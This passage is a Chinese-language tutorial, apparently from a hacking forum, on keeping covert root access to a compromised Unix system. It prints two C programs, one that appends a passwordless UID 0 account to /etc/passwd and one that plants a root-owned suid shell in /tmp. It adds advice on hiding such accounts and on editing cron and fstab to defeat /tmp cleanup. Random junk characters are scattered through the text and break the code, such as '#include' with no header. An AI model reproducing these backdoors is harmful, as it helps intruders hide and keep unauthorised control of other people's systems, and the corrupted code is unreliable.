最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做,因为只要系统管理员检查口令文件就会"漏馅"了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。
4 K! K" ?4 i. J6 F e7 a2 M* x backdoor/backdoor1.c5 T* a( U2 [! i; B
#include, U D* l p- d
main()
! H* e- _2 T0 j {' ^* ]5 U6 j4 \. c( N- _" w1 ~
FILE *fd;* Q: Q! v- \( V$ L$ g
fd=fopen("/etc/passwd","a+");, R) V! D; ?$ ?; o! W8 a
fprintf(fd,"hax0r::0:0::/root:/bin/shn");
: @3 z0 `5 l# p: y, B) L# }# N }
8 I5 [5 u( E% r/ u + f+ ~: X1 u6 \6 F% B1 @1 d+ }) x
比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0,并将其第二个域(口令域)设为空。(注意,如果你使用的是较高版本的*nix,也许还要修改 /etc/shadow 文件。)
' e+ |3 X$ u+ s( a 在 /tmp 目录下放置 suid shell.以后只要你运行这个程序,就会轻易得到根用户权限。这种方法几乎是最受欢迎的了。但有许多系统每几小时,或者每次启动都会清除 /tmp 目录下的数据,另外一些系统则根本不允许运行 /tmp 目录下的 suid 程序。当然,你可以自己修改或清除这些限制(因为你已是根用户,有权限修改 /var/spool/cron/crontabs/root 和 /etc/fstab 文件)。以下是在 /tmp 目录下放置 suid shell 程序的C源程序。
: R' z/ Y: ]- k2 {# D% B# i5 K/ k4 Y backdoor/backdoor2.c8 N' _" Q3 V( e1 K8 ]4 n
#include: z0 ~7 Z7 `. J O( T: }3 E
main()
5 Y0 C0 a3 D$ H! H {
8 a6 t" ^# X+ F5 w; ?6 i% c: D/ U% ^ system("cp /bin/sh /tmp/fid");
! L9 D; D1 z; u( R. m' I system("chown root.root /tmp/fid");& }# D% }/ b1 F0 ?* h
system("chmod 4755 /tmp/fid");* H8 h* v% @- Y" `6 i
} |